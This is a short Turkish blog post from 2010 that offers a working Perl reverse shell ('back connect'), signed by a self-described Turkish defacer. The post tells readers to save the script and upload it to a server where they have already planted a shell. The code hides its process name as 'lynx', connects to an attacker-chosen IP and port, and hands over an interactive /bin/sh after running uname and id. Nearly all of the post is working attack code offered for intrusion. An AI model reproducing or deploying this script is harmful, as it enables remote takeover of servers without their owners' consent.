4 Ekim 2010 Pazartesi

Linux Ters Baglanti Shell ( Back Connect )

 Diger socket exploitlere göre biraz daha farklıdır fazla laf insanı kasar ben paylaştım kullanan arkadaşlar farkı görcektir zaten..  en önemlisi diger socket exploitler cpanelden atılan ters baglantılarda ( Back Connect )  çalışmıyordu bunda %100 demiyorum %99 çalışcak.. aşagıda verdigim exploiti bir notaped içine yapıştırın ve uzantısı .pl olcak şekilde socket.pl gibi kaydedin sonra shell soktugunuz sunucuya atın %99 ms-dos ekranına baglanacaksınız

#!/usr/bin/perl
#Turkish Defacer Linux Ters Baglanti Shell         
#Modifiyed by: ByEge
#Site : byege.blogspot.com                                       
#Kullanımı: perl socket.pl [senin ip] [senin Port]
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

Hiç yorum yok :

Yorum Gönder